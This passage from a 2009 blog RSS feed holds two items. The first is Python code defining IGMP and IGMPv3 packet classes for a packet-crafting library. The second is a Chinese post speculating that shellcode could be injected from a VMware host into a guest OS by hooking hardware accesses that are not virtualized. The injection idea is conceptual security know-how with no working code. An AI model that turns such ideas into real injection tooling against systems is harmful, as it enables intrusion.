&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     return self.sprintf(&quot;IGMP %IGMP.type% %IGMP.gaddr%&quot;)<br>
<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def sanitize (self, ip=None, ether=None):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Called to explicitely fixup associated IP and Ethernet headers<br>
<br>
&nbsp;&nbsp;&nbsp;     Parameters:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     self&nbsp;&nbsp;&nbsp;     The instantiation of an IGMP class.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     The instantiation of the associated IP class.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ether&nbsp;&nbsp;     The instantiation of the associated Ethernet.<br>
<br>
&nbsp;&nbsp;&nbsp;     Returns:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     True&nbsp;&nbsp;&nbsp;     The tuple ether/ip/self passed all check and represents a proper<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     IGMP packet.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     False&nbsp;&nbsp;     One of more validation checks failed and no fields were adjusted.<br>
<br>
&nbsp;&nbsp;&nbsp;     The function will examine the IGMP message to assure proper format. <br>
&nbsp;&nbsp;&nbsp;     Corrections will be attempted if possible. The IP header is then properly <br>
&nbsp;&nbsp;&nbsp;     adjusted to ensure correct formatting and assignment. The Ethernet header<br>
&nbsp;&nbsp;&nbsp;     is then adjusted to the proper IGMP packet format.<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;<br>
<br>
# The rules are:<br>
#&nbsp;&nbsp;     1.  the Max Response time is meaningful only in Membership Queries and should be zero <br>
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     otherwise (RFC 2236, section 2.2)<br>
&nbsp;&nbsp;&nbsp;     if (self.type != 0x11):&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     #rule 1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     self.mrtime = 0<br>
&nbsp;&nbsp;&nbsp;     if (self.adjust_ip(ip) == True):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     if (self.adjust_ether(ip, ether) == True): return True<br>
&nbsp;&nbsp;&nbsp;     return False<br>
<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def adjust_ether (self, ip=None, ether=None):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Called to explicitely fixup an associated Ethernet header<br>
<br>
&nbsp;&nbsp;&nbsp;     Parameters:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     self&nbsp;&nbsp;&nbsp;     The instantiation of an IGMP class.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     The instantiation of the associated IP class.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ether&nbsp;&nbsp;     The instantiation of the associated Ethernet.<br>
<br>
&nbsp;&nbsp;&nbsp;     Returns:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     True&nbsp;&nbsp;&nbsp;     The tuple ether/ip/self passed all check and represents a proper<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     IGMP packet.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     False&nbsp;&nbsp;     One of more validation checks failed and no fields were adjusted.<br>
<br>
&nbsp;&nbsp;&nbsp;     The function adjusts the ethernet header destination MAC address based on <br>
&nbsp;&nbsp;&nbsp;     the destination IP address.<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;<br>
# The rules are:<br>
#&nbsp;&nbsp;     1. send the packet to the group mac address address corresponding to the IP<br>
&nbsp;&nbsp;&nbsp;     if ip != None and ip.haslayer(IP) and ether != None and ether.haslayer(Ether):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ipaddr = socket.ntohl(atol(ip.dst)) &amp; 0x007FFFFF<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     macstr = &quot;01:5e:00:%02x:%02x:%02x&quot; %((ipaddr&gt;&gt;16)&amp;0xFF, (ipaddr&gt;&gt;8)&amp;0xFF, (ipaddr&gt;&gt;0)&amp;0xFF)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ether.dst=macstr<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     return True<br>
&nbsp;&nbsp;&nbsp;     else:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     return False<br>
<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def adjust_ip (self, ip=None):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Called to explicitely fixup an associated IP header<br>
<br>
&nbsp;&nbsp;&nbsp;     Parameters:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     self&nbsp;&nbsp;&nbsp;     The instantiation of an IGMP class.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     The instantiation of the associated IP class.<br>
<br>
&nbsp;&nbsp;&nbsp;     Returns:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     True&nbsp;&nbsp;&nbsp;     The tuple ip/self passed all checks and represents a proper<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     IGMP packet.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     False&nbsp;&nbsp;     One of more validation checks failed and no fields were adjusted.<br>
<br>
&nbsp;&nbsp;&nbsp;     The function adjusts the IP header based on conformance rules and the group<br>
&nbsp;&nbsp;&nbsp;     address encoded in the IGMP message.<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;<br>
# The rules are:<br>
#&nbsp;&nbsp;     1. send the packet to the group address registering/reporting for <br>
#&nbsp;&nbsp;&nbsp;&nbsp;     a. for General Group Query, send packet to 224.0.0.1 (all systems)<br>
#&nbsp;&nbsp;     2. send the packet with the router alert IP option (RFC 2236, section 2)<br>
#&nbsp;&nbsp;     3. ttl = 1 (RFC 2236, section 2)<br>
&nbsp;&nbsp;&nbsp;     if ip != None and ip.haslayer(IP):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     if (self.type == 0x11):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     if (self.gaddr == &quot;0.0.0.0&quot;):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.dst = &quot;224.0.0.1&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = True&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     elif (atol(self.gaddr)&amp;0xff &gt;= 224) and (atol(self.gaddr)&amp;0xff &lt;= 239):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.dst = self.gaddr<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = True<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     else:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = False<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     elif ((self.type == 0x12) or (self.type == 0x16) or (self.type == 0x17)) and \<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     (atol(self.gaddr)&amp;0xff &gt;= 224) and (atol(self.gaddr)&amp;0xff &lt;= 239):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.dst = self.gaddr<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = True<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     elif (self.type == 0x22):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.dst = &quot;224.0.0.22&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = True<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     elif (self.type == 0x30) or (self.type == 0x32):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.dst = &quot;224.0.0.106&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = True<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     elif (self.type == 0x31):<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.dst = &quot;224.0.0.2&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = True<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     else:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = False<br>
&nbsp;&nbsp;&nbsp;     else:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     retCode = False<br>
&nbsp;&nbsp;&nbsp;     if retCode == True:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ip.options=&quot;\x94\x04\x00\x00&quot; <wbr></wbr>  # set IP Router Alert option<br>
&nbsp;&nbsp;&nbsp;     return retCode<br>
<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
#<br>
# See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format<br>
#&nbsp;&nbsp;     <a href="http://www.faqs.org/rfcs/rfc3376.html" target="_blank">http://www.faqs.org/rfcs/<wbr></wbr>rfc3376.html</a><br>
#<br>
# See RFC4286, For definitions of proper messages for Multicast Router Discovery.<br>
#&nbsp;&nbsp;     <a href="http://www.faqs.org/rfcs/rfc4286.html" target="_blank">http://www.faqs.org/rfcs/<wbr></wbr>rfc4286.html</a><br>
#<br>
<br>
igmpv3grtypes = { 1 : &quot;Mode Is Include&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     2 : &quot;Mode Is Exclude&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     3 : &quot;Change To Include Mode&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     4 : &quot;Change To Exclude Mode&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     5 : &quot;Allow New Sources&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     6 : &quot;Block Old Sources&quot;}<br>
<br>
class IGMPv3gr(Packet):<br>
&quot;&quot;&quot;IGMP Group Record for IGMPv3 Membership Report<br>
<br>
This class is derived from class Packet and should be concatenated to an<br>
instantiation of class IGMPv3. Within the IGMPv3 instantiation, the numgrp<br>
element will need to be manipulated to indicate the proper number of<br>
group records.<br>
&quot;&quot;&quot;<br>
name = &quot;IGMPv3gr&quot;<br>
fields_desc = [ ByteEnumField(&quot;rtype&quot;, 1, igmpv3grtypes),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ByteField(&quot;auxdlen&quot;,0),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     FieldLenField(&quot;numsrc&quot;, None, &quot;srcaddrs&quot;),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     IPField(&quot;maddr&quot;, &quot;0.0.0.0&quot;),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     FieldListField(&quot;srcaddrs&quot;, None, IPField(&quot;sa&quot;, &quot;0.0.0.0&quot;), &quot;numsrc&quot;) ]<br>
show_indent=0<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def post_build(self, p, pay):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Called implicitly before a packet is sent.<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;<br>
&nbsp;&nbsp;&nbsp;     p += pay<br>
&nbsp;&nbsp;&nbsp;     if self.auxdlen != 0:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     print &quot;NOTICE: A properly formatted and complaint V3 Group Record should have an Auxiliary Data length of zero (0).&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     print &quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     Subsequent Group Records are lost!&quot;<br>
&nbsp;&nbsp;&nbsp;     return p<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def mysummary(self):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Display a summary of the IGMPv3 group record.&quot;&quot;&quot;<br>
&nbsp;&nbsp;&nbsp;     return self.sprintf(&quot;IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%&quot;)<br>
<br>
igmpv3types = { 0x11 : &quot;Membership Query&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x22 : &quot;Version 3 Membership Report&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x30 : &quot;Multicast Router Advertisement&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x31 : &quot;Multicast Router Solicitation&quot;,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     0x32 : &quot;Multicast Router Termination&quot;}<br>
<br>
class IGMPv3(IGMP):<br>
&quot;&quot;&quot;IGMP Message Class for v3.<br>
<br>
This class is derived from class Packet. <br>
The fields defined below are a <br>
direct interpretation of the v3 Membership Query Message. <br>
Fields 'type'  through 'qqic' are directly assignable. <br>
For 'numsrc', do not assign a value. <br>
Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To <br>
assign values to 'srcaddrs', use the following methods:<br>
&nbsp;&nbsp;&nbsp;     c = IGMPv3()<br>
&nbsp;&nbsp;&nbsp;     c.srcaddrs = ['1.2.3.4', '5.6.7.8']<br>
&nbsp;&nbsp;&nbsp;     c.srcaddrs += ['192.168.10.24']<br>
At this point, 'c.numsrc' is three (3)<br>
<br>
'chksum' is automagically calculated before the packet is sent.<br>
<br>
'mrcode' is also the Advertisement Interval field<br>
<br>
&quot;&quot;&quot;<br>
name = &quot;IGMPv3&quot;<br>
fields_desc = [ ByteEnumField(&quot;type&quot;, 0x11, igmpv3types),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ByteField(&quot;mrcode&quot;,0),&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<wbr></wbr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     # use float_encode()<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     XShortField(&quot;chksum&quot;, None),<br>
&nbsp;&nbsp;&nbsp;     # if type = 0x11 (Membership Query), the next field is group address <br>
&nbsp;&nbsp;&nbsp;     ConditionalField(IPField(&quot;<wbr></wbr>gaddr&quot;, &quot;0.0.0.0&quot;),lambda pkt:pkt.type==0x11),<br>
&nbsp;&nbsp;&nbsp;     # else if type = 0x22 (Membership Report), the next fields are <br>
&nbsp;&nbsp;&nbsp;     #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     reserved and number of group records<br>
&nbsp;&nbsp;&nbsp;     ConditionalField(ShortField(&quot;<wbr></wbr>rsvd2&quot;, 0),lambda pkt:pkt.type==0x22),<br>
&nbsp;&nbsp;&nbsp;     ConditionalField(ShortField(&quot;<wbr></wbr>numgrp&quot;, 0),lambda pkt:pkt.type==0x22),<br>
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     FieldLenField(&quot;numgrp&quot;, None, &quot;grprecs&quot;)]<br>
&nbsp;&nbsp;&nbsp;     # else if type = 0x30 (Multicast Router Advertisement), the next fields are <br>
&nbsp;&nbsp;&nbsp;     #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     query interval and robustness<br>
&nbsp;&nbsp;&nbsp;     ConditionalField(ShortField(&quot;<wbr></wbr>qryIntvl&quot;, 0),lambda pkt:pkt.type==0x30),<br>
&nbsp;&nbsp;&nbsp;     ConditionalField(ShortField(&quot;<wbr></wbr>robust&quot;, 0),lambda pkt:pkt.type==0x30),<br>
#  The following are only present for membership queries<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ConditionalField(BitField(&quot;<wbr></wbr>resv&quot;, 0, 4),lambda pkt:pkt.type==0x11),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ConditionalField(BitField(&quot;s&quot;, 0, 1),lambda pkt:pkt.type==0x11),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ConditionalField(BitField(&quot;<wbr></wbr>qrv&quot;, 0, 3),lambda pkt:pkt.type==0x11), <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ConditionalField(ByteField(&quot;<wbr></wbr>qqic&quot;,0),lambda pkt:pkt.type==0x11),<br>
&nbsp;&nbsp;&nbsp;&nbsp;     ConditionalField(<wbr></wbr>FieldLenField(&quot;numsrc&quot;, None, &quot;srcaddrs&quot;),lambda pkt:pkt.type==0x11),<br>
&nbsp;&nbsp;&nbsp;     ConditionalField(<wbr></wbr>FieldListField(&quot;srcaddrs&quot;, None, IPField(&quot;sa&quot;, &quot;0.0.0.0&quot;), &quot;numsrc&quot;),lambda pkt:pkt.type==0x11),<br>
&nbsp;&nbsp;&nbsp;     ]<br>
<br>
<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def float_encode(self, value):<br>
&nbsp;&nbsp;&nbsp;       &quot;&quot;&quot;Convert the integer value to its IGMPv3 encoded time value if needed.<br>
&nbsp;&nbsp;&nbsp;       <br>
&nbsp;&nbsp;&nbsp;       If value &lt; 128, return the value specified. If &gt;= 128, encode as a floating <br>
&nbsp;&nbsp;&nbsp;       point value. Value can be 0 - 31744.<br>
&nbsp;&nbsp;&nbsp;       &quot;&quot;&quot;<br>
&nbsp;&nbsp;&nbsp;       if value &lt; 128:<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       code = value<br>
&nbsp;&nbsp;&nbsp;       elif value &gt; 31743:<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       code = 255<br>
&nbsp;&nbsp;&nbsp;       else:<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       exp=0<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       value&gt;&gt;=3<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       while(value&gt;31):<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       exp+=1<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       value&gt;&gt;=1<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       exp&lt;&lt;=4<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       code = 0x80 | exp | (value &amp; 0x0F)<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       return code<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       <br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def post_build(self, p, pay):<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;Called implicitly before a packet is sent to compute and place IGMPv3 checksum.<br>
<br>
&nbsp;&nbsp;&nbsp;     Parameters:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     self&nbsp;&nbsp;&nbsp;     The instantiation of an IGMPv3 class<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     The IGMPv3 message in hex in network byte order<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     pay&nbsp;&nbsp;&nbsp;&nbsp;     Additional payload for the IGMPv3 message<br>
&nbsp;&nbsp;&nbsp;     &quot;&quot;&quot;<br>
&nbsp;&nbsp;&nbsp;     p += pay<br>
&nbsp;&nbsp;&nbsp;     if self.type in [0, 0x31, 0x32, 0x22]:&nbsp;&nbsp;     # for these, field is reserved (0)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     p = p[:1]+chr(0)+p[2:]<br>
&nbsp;&nbsp;&nbsp;     if self.chksum is None:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     ck = checksum(p)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     p = p[:2]+chr(ck&gt;&gt;8)+chr(ck&amp;0xff)+<wbr></wbr>p[4:]<br>
&nbsp;&nbsp;&nbsp;     return p<br>
#-----------------------------<wbr></wbr>------------------------------<wbr></wbr>-------------------<br>
def mysummary(self):<br>
&nbsp;&nbsp;&nbsp;       &quot;&quot;&quot;Display a summary of the IGMPv3 object.&quot;&quot;&quot;<br>
&nbsp;&nbsp;&nbsp;       <br>
&nbsp;&nbsp;&nbsp;       if isinstance(self.underlayer, IP):<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       return self.underlayer.sprintf(&quot;<wbr></wbr>IGMPv3: %IP.src% &gt; %IP.dst% %IGMPv3.type% %IGMPv3.gaddr%&quot;)<br>
&nbsp;&nbsp;&nbsp;       else:<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;       return self.sprintf(&quot;IGMPv3 %IGMPv3.type% %IGMPv3.gaddr%&quot;)<br>
&nbsp;&nbsp;&nbsp;       # The rules are:<br>
&nbsp;&nbsp;&nbsp;       #&nbsp;&nbsp;     1.  ttl = 1 (RFC 2236, section 2)<br>
igmp_binds = [ (IP, IGMP,&nbsp;&nbsp;     { &quot;proto&quot;: 2 , &quot;ttl&quot;: 1 }),<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     #&nbsp;&nbsp;     2.  tos = 0xC0 (RFC 3376, section 4)<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     (IP, IGMPv3, { &quot;proto&quot;: 2 , &quot;ttl&quot;: 1, &quot;tos&quot;:0xc0 }),<br>
&nbsp;&nbsp;&nbsp;     &nbsp;&nbsp;&nbsp;     (IGMPv3, IGMPv3gr, { }) ]</div> <a href="http://hi.baidu.com/vessial/blog/item/a35496f4d67c43e67709d7b6.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/Packet%20Hacking">Packet Hacking</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/a35496f4d67c43e67709d7b6.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-31  14:29</pubDate>
        <category><![CDATA[Packet Hacking]]></category>
        <author><![CDATA[vessial]]></author>
		<guid>http://hi.baidu.com/vessial/blog/item/a35496f4d67c43e67709d7b6.html</guid>
</item>

<item>
        <title><![CDATA[关于虚拟机从Host OS注入到Guest OS的猜想]]></title>
        <link><![CDATA[http://hi.baidu.com/vessial/blog/item/f97423019ae0c70a728da515.html]]></link>
        <description><![CDATA[
		
		<br>
&nbsp;&nbsp;&nbsp;&nbsp;  这些天注意到blackhat 2009一个关于虚拟机agent端注入在Guest OS里面执行代码的议题，演讲者是<br>
<br>
symantec的<a href="http://www.blackhat.com/html/bh-usa-09/bh-usa-09-speakers.html#Conover" target="_blank">matt conover</a>，大体思想是讲从host os注入到代码到VM的agent里面，然后在guest os里面执行<br>
<br>
代码的这么一个过程，现在我也不知道他是怎么实现的，但是我把我自已的猜想和大家分享一下，看看<br>
<br>
是否行得通，去年在安全软件峰会上听过孙冰讲的虚拟机技术，他算得上是虚拟机大拿了，所以关于这个<br>
<br>
黑帽子上面的这个议题想必也有研究了，废话不说了，切入正题。<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;  我如下讲的VM是指VMware这个软件，VM软件其实没有完全虚拟化所用的CPU指令，因为它要考虑到<br>
<br>
虚拟机里面操作系统的运行速度和效率，也就是说，Guest OS有时是可以直接访问硬件系统的，而不通过<br>
<br>
Host OS进行指令虚拟化，这样就大大提高了Guest OS运行的速度，当然我也并不知道到底哪些CPU指令，<br>
<br>
或者中断调用没有进行虚拟化，暂且我们认为存在这样的CPU指令或者中断调用或者系统调用之类的东西，<br>
<br>
所以当虚拟机里面的Guest OS直接执行这些指令或者中断调用或者系统调用之类的东西时，我们可以截获<br>
<br>
到这种动作，怎么讲呢？ 我们可以通过在Host OS里面编写驱动截获到这些指令或者中断，或者系统调用<br>
<br>
之类的动作，hook这些指令，在我们的hook例程里面注入shellcode， 这样可以让Guest OS执行你的<br>
<br>
shellcode了，虽然这个注入shellcode注入执行说起来简单，但做起来的时候，还得考虑很多问题，当然<br>
<br>
这已经不在这里的讨论范围了， 我简单的画了一个草图关于虚拟机Host OS注入到Guest OS的过程。<br>
<br>
简单描述就是截持Guest OS直接访问硬件的行为，hook注入shellcode。不知道大家是怎么想的，可以<br>
<br>
邮件交流讨论下:)<br>
<br>
<div align="center" forimg="1"><img border="0" src="http://hiphotos.baidu.com/vessial/pic/item/c0ed2a51dad1603e377abe82.jpg" small="0" class="blogimg"></div>
<br> <a href="http://hi.baidu.com/vessial/blog/item/f97423019ae0c70a728da515.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/vessial/blog/category/%B5%F7%CA%D4%BC%BC%CA%F5">调试技术</a>&nbsp;<a href="http://hi.baidu.com/vessial/blog/item/f97423019ae0c70a728da515.html#comment">查看评论</a>]]></description>
        <pubDate>2009-07-01  16:03</pubDate>
        <category><![CDATA[调试技术]]></category>
        <author><![CDATA[vessial]]></author>
